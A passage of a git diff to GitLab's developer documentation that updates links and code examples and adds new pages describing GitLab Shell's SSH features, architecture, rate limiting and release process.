[ActionView::Helpers::FormBuilder](https://api.rubyonrails.org/v6.1.0/classes/ActionView/Helpers/FormBuilder.html) to be passed as the `form` argument. +`Pajamas::CheckboxComponent` is used internally by the [GitLab UI form builder](haml.md#use-the-gitlab-ui-form-builder) and requires an instance of [ActionView::Helpers::FormBuilder](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html) to be passed as the `form` argument. It is preferred to use the [`gitlab_ui_checkbox_component`](haml.md#gitlab_ui_checkbox_component) method to render this ViewComponent. -To use a checkbox without an instance of [ActionView::Helpers::FormBuilder](https://api.rubyonrails.org/v6.1.0/classes/ActionView/Helpers/FormBuilder.html) use [CheckboxTagComponent](#checkbox-tag). +To use a checkbox without an instance of [ActionView::Helpers::FormBuilder](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html) use [CheckboxTagComponent](#checkbox-tag). For the full list of options, see its [source](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/components/pajamas/checkbox_component.rb). diff --git a/doc/development/fe_guide/vuex.md b/doc/development/fe_guide/vuex.md index 19bbfa314ea..01ee50fb6ca 100644 --- a/doc/development/fe_guide/vuex.md +++ b/doc/development/fe_guide/vuex.md @@ -97,7 +97,7 @@ In this file, we write the actions that call mutations for handling a list of us ```javascript import * as types from './mutation_types'; import axios from '~/lib/utils/axios_utils'; - import createFlash from '~/flash'; + import { createAlert } from '~/flash'; export const fetchUsers = ({ state, dispatch }) => { commit(types.REQUEST_USERS); @@ -106,7 +106,7 @@ In this file, we write the actions that call mutations for handling a list of us .then(({ data }) => commit(types.RECEIVE_USERS_SUCCESS, data)) .catch((error) => { commit(types.RECEIVE_USERS_ERROR, error) - createFlash({ message: 'There was an error' }) + createAlert({ message: 'There was an error' }) }); } diff --git a/doc/development/feature_categorization/index.md b/doc/development/feature_categorization/index.md index 47663915ea7..7f275f25c3d 100644 --- a/doc/development/feature_categorization/index.md +++ b/doc/development/feature_categorization/index.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/269) in GitLab 13.2. -Each Sidekiq worker, controller action, [test example](../testing_guide/best_practices.md#feature-category-metadata) or API endpoint +Each Sidekiq worker, Batched Background migrations, controller action, [test example](../testing_guide/best_practices.md#feature-category-metadata) or API endpoint must declare a `feature_category` attribute. This attribute maps each of these to a [feature category](https://about.gitlab.com/handbook/product/categories/). This is done for error budgeting, alert routing, and team attribution. @@ -76,6 +76,25 @@ category (worker or HTTP endpoint) in metrics and logs. For instance, `ReactiveCachingWorker` can have multiple feature categories in metrics and logs. +## Batched background migrations + +Long-running migrations (as per the [time limits guidelines](../migration_style_guide.md#how-long-a-migration-should-take)) +are pulled out as [batched background migrations](../database/batched_background_migrations.md). +They should define a `feature_category`, like this: + +```ruby +# File name: lib/gitlab/background_migration/my_background_migration_job.rb + +class MyBackgroundMigrationJob < BatchedMigrationJob + feature_category :gitaly + + #... +end +``` + +NOTE: +[`RuboCop::Cop::BackgroundMigration::FeatureCategory`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/cop/background_migration/feature_category.rb) cop ensures a valid `feature_category` is defined. + ## Rails controllers Specifying feature categories on controller actions can be done using @@ -96,7 +115,7 @@ second argument: ```ruby class DashboardController < ApplicationController feature_category :team_planning, [:issues, :issues_calendar] - feature_category :code_review, [:merge_requests] + feature_category :code_review_workflow, [:merge_requests] end ``` @@ -203,3 +222,9 @@ can be done using the `not_owned` feature category. ```ruby RSpec.describe Utils, feature_category: :not_owned do ``` + +### Tooling feature category + +For Engineering Productivity internal tooling we use `feature_category: :tooling`. + +For example in [`spec/tooling/danger/specs_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/tooling/danger/specs_spec.rb#L12). diff --git a/doc/development/feature_development.md b/doc/development/feature_development.md index b9e093b9479..874a56555fb 100644 --- a/doc/development/feature_development.md +++ b/doc/development/feature_development.md @@ -108,7 +108,7 @@ Consult these topics for information on contributing to specific GitLab features - [Performance guidelines](performance.md) for writing code, benchmarks, and certain patterns to avoid. - [Caching guidelines](caching.md) for using caching in Rails under a GitLab environment. -- [Merge request performance guidelines](merge_request_performance_guidelines.md) +- [Merge request performance guidelines](merge_request_concepts/performance.md) for ensuring merge requests do not negatively impact GitLab performance - [Profiling](profiling.md) a URL or tracking down N+1 queries using Bullet. - [Cached queries guidelines](cached_queries.md), for tracking down N+1 queries diff --git a/doc/development/feature_flags/controls.md b/doc/development/feature_flags/controls.md index 3e6491a92b5..f1eafc2a95a 100644 --- a/doc/development/feature_flags/controls.md +++ b/doc/development/feature_flags/controls.md @@ -328,6 +328,21 @@ If a project A has `:feature-set-1` enabled, there is no guarantee that project For more detail, see [This is how percentages work in Flipper](https://www.hackwithpassion.com/this-is-how-percentages-work-in-flipper/). +### Verifying metrics after enabling feature flag + +After turning on the feature flag, you need to [monitor the relevant graphs](https://about.gitlab.com/handbook/engineering/monitoring/) between each step: + +1. Go to [`dashboards.gitlab.net`](https://dashboards.gitlab.net). +1. Turn on the `feature-flag`. +1. Watch `Latency: Apdex` for services that might be impacted by your change + (like `sidekiq service`, `api service` or `web service`). Then check out more in-depth + dashboards by selecting `Service Overview Dashboards` and choosing a dashboard that might + be related to your change. + +In this illustration, you can see that the Apdex score started to decline after the feature flag was enabled at `09:46`. The feature flag was then deactivated at `10:31`, and the service returned to the original value: + + + ### Feature flag change logging #### ChatOps level diff --git a/doc/development/features_inside_dot_gitlab.md b/doc/development/features_inside_dot_gitlab.md index 7a46cd40da1..dda2c05288f 100644 --- a/doc/development/features_inside_dot_gitlab.md +++ b/doc/development/features_inside_dot_gitlab.md @@ -15,7 +15,7 @@ When implementing new features, please refer to these existing features to avoid - [GitLab agent](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/configuration_repository.md#layout): `.gitlab/agents/`. - [CODEOWNERS](../user/project/code_owners.md#set-up-code-owners): `.gitlab/CODEOWNERS`. - [Route Maps](../ci/review_apps/index.md#route-maps): `.gitlab/route-map.yml`. -- [Customize Auto DevOps Helm Values](../topics/autodevops/customize.md#customize-values-for-helm-chart): `.gitlab/auto-deploy-values.yaml`. +- [Customize Auto DevOps Helm Values](../topics/autodevops/customize.md#customize-helm-chart-values): `.gitlab/auto-deploy-values.yaml`. - [Insights](../user/project/insights/index.md#configure-project-insights): `.gitlab/insights.yml`. - [Service Desk Templates](../user/project/service_desk.md#using-customized-email-templates): `.gitlab/service_desk_templates/`. - [Web IDE](../user/project/web_ide/index.md#web-ide-configuration-file): `.gitlab/.gitlab-webide.yml`. diff --git a/doc/development/fips_compliance.md b/doc/development/fips_compliance.md index 187a9b0cc93..147ff5fa6e9 100644 --- a/doc/development/fips_compliance.md +++ b/doc/development/fips_compliance.md @@ -22,7 +22,7 @@ mean FIPS 140-2. ## Current status -GitLab is actively working towards FIPS compliance. Progress on this initiative can be tracked with this [FIPS compliance Epic](https://gitlab.com/groups/gitlab-org/-/epics/6452). +GitLab has completed FIPS 140-2 Compliance for the build specified in this documentation. You can find our FIPS 140-2 Attestation in our [customer assurance package](https://about.gitlab.com/security/cap/), specifically the community package. ## FIPS compliance at GitLab diff --git a/doc/development/geo.md b/doc/development/geo.md index 76c75cb1c6a..710d0eec3b0 100644 --- a/doc/development/geo.md +++ b/doc/development/geo.md @@ -4,7 +4,7 @@ group: Geo info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Geo (development) **(PREMIUM SELF)** +# Geo (development) Geo connects GitLab instances together. One GitLab instance is designated as a **primary** site and can be run with multiple @@ -602,6 +602,8 @@ For comparison with your own features, see [Supported Geo data types](../adminis If you add a feature that is backed by Git repositories, then you must add Geo support. See [the repository replicator strategy of the Geo self-service framework](geo/framework.md#repository-replicator-strategy). +Create an issue based on the [Geo Replicate a new blob type template](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Geo%20Replicate%20a%20new%20blob%20type) and follow the guidelines. + ### Blobs If you add a subclass of `CarrierWave::Uploader::Base`, then you are adding what Geo calls a blob. If you specifically subclass [`AttachmentUploader` as generally recommended](uploads/working_with_uploads.md#recommendations), then the data has Geo support with no work needed. This is because `AttachmentUploader` tracks blobs with the `Upload` model using the `uploads` table, and Geo support is already implemented for that model. @@ -610,6 +612,8 @@ If your blobs are tracked in a new table, perhaps because you expect millions of [Geo detects new blobs with a spec](https://gitlab.com/gitlab-org/gitlab/-/blob/eeba0e4d231ae39012a5bbaeac43a72c2bd8affb/ee/spec/uploaders/every_gitlab_uploader_spec.rb) that fails when an `Uploader` does not have a corresponding `Replicator`. +Create an issue based on the [Geo Replicate a new Git repository type template](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Geo%20Replicate%20a%20new%20Git%20repository%20type) and follow the guidelines. + ### Features with more than one kind of data If a new complex feature is backed by multiple kinds of data, for example, a Git repository and a blob, then you can likely consider each kind of data separately. diff --git a/doc/development/gitlab_flavored_markdown/index.md b/doc/development/gitlab_flavored_markdown/index.md index 0af31892726..f115ae9a11c 100644 --- a/doc/development/gitlab_flavored_markdown/index.md +++ b/doc/development/gitlab_flavored_markdown/index.md @@ -4,7 +4,9 @@ group: Editor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# GitLab Flavored Markdown (GLFM) developer documentation **(FREE)** +<!-- vale gitlab.GitLabFlavoredMarkdown = NO --> + +# GitLab Flavored Markdown (GLFM) developer documentation This page contains the MVC for the developer documentation for GitLab Flavored Markdown (GLFM). For the user documentation about Markdown in GitLab, refer to diff --git a/doc/development/gitlab_flavored_markdown/specification_guide/index.md b/doc/development/gitlab_flavored_markdown/specification_guide/index.md index 85c6653180b..79a4ac9b49a 100644 --- a/doc/development/gitlab_flavored_markdown/specification_guide/index.md +++ b/doc/development/gitlab_flavored_markdown/specification_guide/index.md @@ -4,7 +4,9 @@ group: Editor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# GitLab Flavored Markdown (GLFM) Specification Guide **(FREE)** +<!-- vale gitlab.GitLabFlavoredMarkdown = NO --> + +# GitLab Flavored Markdown (GLFM) Specification Guide ## Summary @@ -108,17 +110,18 @@ Here are the HTML-rendered versions of the specifications: - [GitHub Flavored Markdown (GFM) specification](https://github.github.com/gfm/) (rendered from the [source `spec.txt` for GFM specification](https://github.com/github/cmark-gfm/blob/master/test/spec.txt)), which extends the: - [CommonMark specification](https://spec.commonmark.org/0.30/) (rendered from the [source `spec.txt` for CommonMark specification](https://github.com/commonmark/commonmark-spec/blob/master/spec.txt)) -NOTE: -The creation of the -[HTML-rendered version of the GitLab Flavored Markdown (GLFM) specification](https://gitlab.com/gitlab-org/gitlab/-/blob/master/glfm_specification/output_spec/spec.html) -file is still pending. - However, GLFM has more complex parsing, rendering, and testing requirements than GFM or CommonMark. Therefore, it does not have a static, hardcoded, manually updated `spec.txt`. Instead, the GLFM `spec.txt` is automatically generated based on other input files. This process is explained in detail in the [Implementation](#implementation) sections below. +NOTE: +As of December 2022, the HTML version of the [GitHub Flavored Markdown (GFM) specification](https://github.github.com/gfm/) +is outdated, and does not match the [specification's `spec.txt`](https://github.com/github/cmark-gfm/blob/master/test/spec.txt). +An issue has been [filed in the `cmark-gfm` project](https://github.com/github/cmark-gfm/issues/288) +to report this. + #### Official specifications vs internal extensions Within GFM and GLFM respectively, both GitHub and GitLab have two "sets" of Markdown they support: @@ -240,6 +243,12 @@ This means that it uses configuration files to support providing GitLab-specific which is required by internal extension examples, such as [`glfm_example_metadata.yml`](#glfm_example_metadatayml). +The design of the snapshot testing helps ensure the correctness of the user-facing GLFM Markdown. +The testing thoroughly exercises the backend and frontend [parsers and renderers](#parsers-and-renderers) +by using a [black-box testing](https://en.wikipedia.org/wiki/Black-box_testing) approach. +It can be considered a type of high-level testing at the ["top of the testing pyramid"](https://martinfowler.com/articles/practical-test-pyramid.html) +because of this comprehensive style. + Regarding the terminology used for Markdown snapshot testing: <!-- vale gitlab.InclusionCultural = NO --> @@ -1357,7 +1366,9 @@ This section describes how the scripts can be used to manage the GLFM specificat 1. Run [`update-specification.rb`](#update-specificationrb-script) to update the GLFM specification [output specification files](#output-specification-files). 1. Visually inspect and confirm any resulting changes to the [output specification files](#output-specification-files). -1. Run [`run-spec-tests.sh`](#run-spec-testssh-script) to run the conformance tests against the canonicalized GLFM specification. +1. Run [`run-spec-tests.sh`](#run-spec-testssh-script). This script is not yet implemented + and only prints a placeholder message. When implemented, it should run the conformance tests + against the canonicalized GLFM specification. 1. Commit any changes to the [output specification files](#output-specification-files). ### Update the example snapshots and run snapshot tests diff --git a/doc/development/gitlab_shell/features.md b/doc/development/gitlab_shell/features.md new file mode 100644 index 00000000000..f7931c4b94d --- /dev/null +++ b/doc/development/gitlab_shell/features.md @@ -0,0 +1,89 @@ +--- +stage: Create +group: Source Code +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# GitLab Shell feature list + +## Discover + +Allows users to identify themselves on an instance via SSH. The command helps to +confirm quickly whether a user has SSH access to the instance: + +```shell +ssh git@<hostname> + +PTY allocation request failed on channel 0 +Welcome to GitLab, @username! +Connection to staging.gitlab.com closed. +``` + +When permission is denied, it returns: + +```shell +ssh git@<hostname> +git@<hostname>: Permission denied (publickey). +``` + +## Git operations + +GitLab Shell provides support for Git operations over SSH by processing +`git-upload-pack`, `git-receive-pack` and `git-upload-archive` SSH commands. +It limits the set of commands to predefined Git commands: + +- `git archive` +- `git clone` +- `git pull` +- `git push` + +## Generate new 2FA recovery codes + +Enables users to +[generate new 2FA recovery codes](../../user/profile/account/two_factor_authentication.md#generate-new-recovery-codes-using-ssh): + +```shell +$ ssh git@<hostname> 2fa_recovery_codes + +Are you sure you want to generate new two-factor recovery codes? +Any existing recovery codes you saved will be invalidated. (yes/no) +yes + +Your two-factor authentication recovery codes are: +... +``` + +## Verify 2FA OTP + +Allows users to verify their +[2FA one-time password (OTP)](../../security/two_factor_authentication.md#2fa-for-git-over-ssh-operations): + +```shell +$ ssh git@<hostname> 2fa_verify + +OTP: 347419 + +OTP validation failed. +``` + +## LFS authentication + +Enables users to generate credentials for LFS authentication: + +```shell +$ ssh git@<hostname> git-lfs-authenticate <project-path> <upload/download> + +{"header":{"Authorization":"Basic ..."},"href":"https://gitlab.com/user/project.git/info/lfs","expires_in":7200} +``` + +## Personal access token + +Enables users to use personal access tokens via SSH: + +```shell +$ ssh git@<hostname> personal_access_token <name> <scope1[,scope2,...]> [ttl_days] + +Token: glpat-... +Scopes: api +Expires: 2022-02-05 +``` diff --git a/doc/development/gitlab_shell/gitlab_sshd.md b/doc/development/gitlab_shell/gitlab_sshd.md new file mode 100644 index 00000000000..4c2cd6396c1 --- /dev/null +++ b/doc/development/gitlab_shell/gitlab_sshd.md @@ -0,0 +1,36 @@ +--- +stage: Create +group: Source Code +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# `gitlab-sshd` in GitLab Shell + +`gitlab-sshd` is a binary in [`gitlab-shell`](https://gitlab.com/gitlab-org/gitlab-shell) +which runs as a persistent SSH daemon. It is intended to replace `OpenSSH` on GitLab SaaS, +and eventually other cloud-native environments. Instead of running an `sshd` process, +we run a `gitlab-sshd` process that does the same job, in a more focused manner: + +```mermaid +sequenceDiagram + participant Git on client + participant GitLab SSHD + participant Rails + participant Gitaly + participant Git on server + + Note left of Git on client: git fetch + Git on client->>+GitLab SSHD: ssh git fetch-pack request + GitLab SSHD->>+Rails: GET /internal/api/authorized_keys?key=AAAA... + Note right of Rails: Lookup key ID + Rails-->>-GitLab SSHD: 200 OK, command="gitlab-shell upload-pack key_id=1" + GitLab SSHD->>+Rails: GET /internal/api/allowed?action=upload_pack&key_id=1 + Note right of Rails: Auth check + Rails-->>-GitLab SSHD: 200 OK, { gitaly: ... } + GitLab SSHD->>+Gitaly: SSHService.SSHUploadPack request + Gitaly->>+Git on server: git upload-pack request + Note over Git on client,Git on server: Bidirectional communication between Git client and server + Git on server-->>-Gitaly: git upload-pack response + Gitaly -->>-GitLab SSHD: SSHService.SSHUploadPack response + GitLab SSHD-->>-Git on client: ssh git fetch-pack response +``` diff --git a/doc/development/gitlab_shell/index.md b/doc/development/gitlab_shell/index.md new file mode 100644 index 00000000000..7f2c113fa0c --- /dev/null +++ b/doc/development/gitlab_shell/index.md @@ -0,0 +1,222 @@ +--- +stage: Create +group: Source Code +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# GitLab Shell + +[](https://gitlab.com/gitlab-org/gitlab-shell/-/pipelines?ref=main) [](https://gitlab.com/gitlab-org/gitlab-shell/-/pipelines?ref=main) [](https://codeclimate.com/github/gitlabhq/gitlab-shell) + +GitLab Shell handles Git SSH sessions for GitLab and modifies the list of authorized keys. +GitLab Shell is not a Unix shell nor a replacement for Bash or Zsh. + +GitLab supports Git LFS authentication through SSH. + +## Requirements + +GitLab Shell is written in Go, and needs a Go compiler to build. It still requires +Ruby to build and test, but not to run. + +GitLab Shell runs on `port 22` on an Omnibus installation. To use a regular SSH +service, configure it on an alternative port. + +Download and install the current version of Go from [golang.org](https://golang.org/dl/). +We follow the [Golang Release Policy](https://golang.org/doc/devel/release.html#policy) +and support: + +- The current stable version. +- The previous two major versions. + +## How GitLab Shell works + +When you access the GitLab server over SSH, GitLab Shell then: + +1. Limits you to predefined Git commands (`git push`, `git pull`, `git fetch`). +1. Calls the GitLab Rails API to check if you are authorized, and what Gitaly server your repository is on. +1. Copies data back and forth between the SSH client and the Gitaly server. + +If you access a GitLab server over HTTP(S) you end up in [`gitlab-workhorse`](../workhorse/index.md). + +### `git pull` over SSH + +```mermaid +graph LR + A[Git pull] --> |via SSH| B[gitlab-shell] + B -->|API call| C[gitlab-rails<br>authorization] + C -->|accept or decline| D[Gitaly session] +``` + +### `git push` over SSH + +The `git push` command is not performed until after `gitlab-rails` accepts the push: + +```mermaid +graph LR +subgraph User initiates + A[Git push] -->|via SSH| B[gitlab-shell] +end +subgraph Gitaly + B -->|establish Gitaly session| C[gitlab-shell pre-receive hook] + C -->|API auth call| D[Gitlab-rails] + D --> E[accept or decline push] +end +``` + +[Full feature list](features.md) + +### Modifies `authorized_keys` + +GitLab Shell modifies the `authorized_keys` file on the client machine. + +## Contribute to GitLab Shell + +To contribute to GitLab Shell: + +1. Check if GitLab API access, and Redis via the internal API, can be reached: `make check` +1. Compile the `gitlab-shell` binaries, placing them into `bin/`: `make compile` +1. Run `make install` to build the `gitlab-shell` binaries and install. them onto the file system. + The default location is `/usr/local`. To change it, set the `PREFIX` and `DESTDIR` environment variables. +1. To install GitLab from source on a single machine, run `make setup`. + It compiles the GitLab Shell binaries, and ensures that various paths on the file system + exist with the correct permissions. Do not run this command unless your installation method + documentation instructs you to. + +For more information, see +[CONTRIBUTING.md](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/CONTRIBUTING.md). + +### Run tests + +When contributing, run tests: + +1. Run tests with `bundle install` and `make test`. +1. Run Gofmt: `make verify` +1. Run both test and verify (the default Makefile target): + + ```shell + bundle install + make validate + ``` + +1. If needed, configure Gitaly. + +### Configure Gitaly for local testing + +Some tests need a Gitaly server. The +[`docker-compose.yml`](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/docker-compose.yml) file runs Gitaly on port 8075. +To tell the tests where Gitaly is, set `GITALY_CONNECTION_INFO`: + +```plaintext +export GITALY_CONNECTION_INFO='{"address": "tcp://localhost:8075", "storage": "default"}' +make test +``` + +If no `GITALY_CONNECTION_INFO` is set, the test suite still runs, but any +tests requiring Gitaly are skipped. The tests always run in the CI environment. + +## Rate limiting + +GitLab Shell performs rate-limiting by user account and project for Git operations. +GitLab Shell accepts Git operation requests and then makes a call to the Rails +rate-limiter, backed by Redis. If the `user + project` exceeds the rate limit, +then GitLab Shell then drop further connection requests for that `user + project`. + +The rate-limiter is applied at the Git command (plumbing) level. Each command has +a rate limit of 600 per minute. For example, `git push` has 600 per minute, and +`git pull` has another 600 per minute. + +Because they are using the same plumbing command, `git-upload-pack`, `git pull`, +and `git clone` are in effect the same command for the purposes of rate-limiting. + +Gitaly also has a rate-limiter in place, but calls are never made to Gitaly if +the rate limit is exceeded in GitLab Shell (Rails). + +## Logs in GitLab Shell + +In general, you can determine the structure, but not content, of a GitLab Shell +or `gitlab-sshd` session by inspecting the logs. Some guidelines: + +- We use [`gitlab.com/gitlab-org/labkit/log`](https://pkg.go.dev/gitlab.com/gitlab-org/labkit/log) + for logging. +- Always include a correlation ID. +- Log messages should be invariant and unique. Include accessory information in + fields, using `log.WithField`, `log.WithFields`, or `log.WithError`. +- Log both success cases and error cases. +- Logging too much is better than not logging enough. If a message seems too + verbose, consider reducing the log level before removing the message. + +## GitLab SaaS + +A diagram of the flow of `gitlab-shell` on GitLab.com: + +```mermaid +graph LR + a2 --> b2 + a2 --> b3 + a2 --> b4 + b2 --> c1 + b3 --> c1 + b4 --> c1 + c2 --> d1 + c2 --> d2 + c2 --> d3 + d1 --> e1 + d2 --> e1 + d3 --> e1 + a1[Cloudflare] --> a2[TCP<br/> load balancer] + e1[Git] + + subgraph HAProxy Fleet + b2[HAProxy] + b3[HAProxy] + b4[HAProxy] + end + + subgraph GKE + c1[Internal TCP<br/> load balancer<br/>port 2222] --> c2[GitLab-shell<br/> pods] + end + + subgraph Gitaly + d1[Gitaly] + d2[Gitaly] + d3[Gitaly] + end +``` + +## GitLab Shell architecture + +```mermaid +sequenceDiagram + participant Git on client + participant SSH server + participant AuthorizedKeysCommand + participant GitLab Shell + participant Rails + participant Gitaly + participant Git on server + + Note left of Git on client: git fetch + Git on client->>+SSH server: ssh git fetch-pack request + SSH server->>+AuthorizedKeysCommand: gitlab-shell-authorized-keys-check git AAAA... + AuthorizedKeysCommand->>+Rails: GET /internal/api/authorized_keys?key=AAAA... + Note right of Rails: Lookup key ID + Rails-->>-AuthorizedKeysCommand: 200 OK, command="gitlab-shell upload-pack key_id=1" + AuthorizedKeysCommand-->>-SSH server: command="gitlab-shell upload-pack key_id=1" + SSH server->>+GitLab Shell: gitlab-shell upload-pack key_id=1 + GitLab Shell->>+Rails: GET /internal/api/allowed?action=upload_pack&key_id=1 + Note right of Rails: Auth check + Rails-->>-GitLab Shell: 200 OK, { gitaly: ... } + GitLab Shell->>+Gitaly: SSHService.SSHUploadPack request + Gitaly->>+Git on server: git upload-pack request + Note over Git on client,Git on server: Bidirectional communication between Git client and server + Git on server-->>-Gitaly: git upload-pack response + Gitaly -->>-GitLab Shell: SSHService.SSHUploadPack response + GitLab Shell-->>-SSH server: gitlab-shell upload-pack response + SSH server-->>-Git on client: ssh git fetch-pack response +``` + +## Related topics + +- [LICENSE](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/LICENSE). +- [PROCESS.md](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/PROCESS.md) +- [Using the GitLab Shell chart](https://docs.gitlab.com/charts/charts/gitlab/gitlab-shell/) diff --git a/doc/development/gitlab_shell/process.md b/doc/development/gitlab_shell/process.md new file mode 100644 index 00000000000..cc6f44b865c --- /dev/null +++ b/doc/development/gitlab_shell/process.md @@ -0,0 +1,71 @@ +--- +stage: Create +group: Source Code +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Processes for GitLab Shell + +## Releasing a new version + +GitLab Shell is versioned by Git tags, and the version used by the Rails +application is stored in +[`GITLAB_SHELL_VERSION`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/GITLAB_SHELL_VERSION). + +For each version, there is a raw version and a tag version: + +- The **raw version** is the version number. For instance, `15.2.8`. +- The **tag version** is the raw version prefixed with `v`. For instance, `v15.2.8`. + +To release a new version of GitLab Shell and have that version available to the +Rails application: + +1. Create a merge request to update the [`CHANGELOG`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/CHANGELOG.md) with the + **tag version** and the [`VERSION`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/VERSION) file with the **raw version**. +1. Ask a maintainer to review and merge the merge request. If you're already a + maintainer, second maintainer review is not required. +1. Add a new Git tag with the **tag version**. +1. Update `GITLAB_SHELL_VERSION` in the Rails application to the **raw + version**. + + NOTE: + This can be done as a separate merge request, or in a merge request + that uses the latest GitLab Shell changes. + +## Security releases + +GitLab Shell is included in the packages we create for GitLab. Each version of +GitLab specifies the version of GitLab Shell it uses in the `GITLAB_SHELL_VERSION` +file. Because of this specification, security fixes in GitLab Shell are tightly coupled to the +[GitLab security release](https://about.gitlab.com/handbook/engineering/workflow/#security-issues) workflow. + +For a security fix in GitLab Shell, two sets of merge requests are required: + +1. The fix itself, in the `gitlab-org/security/gitlab-shell` repository and its + backports to the previous versions of GitLab Shell. +1. Merge requests to change the versions of GitLab Shell included in the GitLab + security release, in the `gitlab-org/security/gitlab` repository. + +The first step could be to create a merge request with a fix targeting `main` +in `gitlab-org/security/gitlab-shell`. When the merge request is approved by maintainers, +backports targeting previous 3 versions of GitLab Shell must be created. The stable +branches for those versions may not exist, so feel free to ask a maintainer to create +them. The stable branches must be created out of the GitLab Shell tags or versions +used by the 3 previous GitLab releases. + +To find out the GitLab Shell version used on a particular GitLab stable release, +run this command, replacing `13-9-stable-ee` with the version you're interested in. +These commands show the version used by the `13.9` version of GitLab: + +```shell +git fetch security 13-9-stable-ee +git show refs/remotes/security/13-9-stable-ee:GITLAB_SHELL_VERSION +``` + +Close to the GitLab security release, a maintainer should merge the fix and backports, +and cut all the necessary GitLab Shell versions. This allows bumping the +`GITLAB_SHELL_VERSION` for `gitlab-org/security/gitlab`. The GitLab merge request +is handled by the general GitLab security release process. + +After the security release is done, a GitLab Shell maintainer is responsible for +syncing tags and `main` to the `gitlab-org/gitlab-shell` repository. diff --git a/doc/development/go_guide/go_upgrade.md b/doc/development/go_guide/go_upgrade.md index d931140d9da..b3ec0a15c37 100644 --- a/doc/development/go_guide/go_upgrade.md +++ b/doc/development/go_guide/go_upgrade.md @@ -193,7 +193,7 @@ be included in the relevant issues as part of the definition of done: Upstream component maintainers must validate their Go-based projects using: - Established unit tests in the codebase. -- Procedures established in [Merge Request Performance Guidelines](../merge_request_performance_guidelines.md). +- Procedures established in [Merge Request Performance Guidelines](../merge_request_concepts/performance.md). - Procedures established in [Performance, Reliability, and Availability guidelines](../code_review.md#performance-reliability-and-availability). Upstream component maintainers should consider validating their Go-based diff --git a/doc/development/i18n/proofreader.md b/doc/development/i18n/proofreader.md index 8a4ad73efe3..cc7232cd793 100644 --- a/doc/development/i18n/proofreader.md +++ b/doc/development/i18n/proofreader.md @@ -86,6 +86,7 @@ are very appreciative of the work done by translators and proofreaders! - Tomo Dote - [GitLab](https://gitlab.com/fu7mu4), [Crowdin](https://crowdin.com/profile/fu7mu4) - Hiromi Nozawa - [GitLab](https://gitlab.com/hir0mi), [Crowdin](https://crowdin.com/profile/hir0mi) - Takuya Noguchi - [GitLab](https://gitlab.com/tnir), [Crowdin](https://crowdin.com/profile/tnir) + - Tsukasa Komatsubara - [GitLab](https://gitlab.com/tkomatsubara), [Crowdin](https://crowdin.com/profile/tkomatsubara) - Korean - Chang-Ho Cha - [GitLab](https://gitlab.com/changho-cha), [Crowdin](https://crowdin.com/profile/zzazang) - Ji Hun Oh - [GitLab](https://gitlab.com/Baw-Appie), [Crowdin](https://crowdin.com/profile/BawAppie) diff --git a/doc/development/image_scaling.md b/doc/development/image_scaling.md index 502a18fecd7..d182bd8333e 100644 --- a/doc/development/image_scaling.md +++ b/doc/development/image_scaling.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/development/img/feature-flag-metrics.png b/doc/development/img/feature-flag-metrics.png Binary files differnew file mode 100644 index 00000000000..ce8702d47eb --- /dev/null +++ b/doc/development/img/feature-flag-metrics.png diff --git a/doc/development/integrations/index.md b/doc/development/integrations/index.md index 1c9144a1163..9fd8fb7eb61 100644 --- a/doc/development/integrations/index.md +++ b/doc/development/integrations/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w description: "GitLab's development guidelines for Integrations" --- -# Integrations development guide **(FREE)** +# Integrations development guide This page provides development guidelines for implementing [GitLab integrations](../../user/project/integrations/index.md), which are part of our [main Rails project](https://gitlab.com/gitlab-org/gitlab). diff --git a/doc/development/integrations/jenkins.md b/doc/development/integrations/jenkins.md index f314f4536e2..6baccdca327 100644 --- a/doc/development/integrations/jenkins.md +++ b/doc/development/integrations/jenkins.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# How to run Jenkins in development environment (on macOS) **(FREE)** +# How to run Jenkins in development environment (on macOS) This is a step by step guide on how to set up [Jenkins](https://www.jenkins.io/) on your local machine and connect to it from your GitLab instance. GitLab triggers webhooks on Jenkins, and Jenkins connects to GitLab using the API. By running both applications on the same machine, we can make sure they are able to access each other. diff --git a/doc/development/integrations/jira_connect.md b/doc/development/integrations/jira_connect.md index c7bb77a6a5d..5b460f8723a 100644 --- a/doc/development/integrations/jira_connect.md +++ b/doc/development/integrations/jira_connect.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see 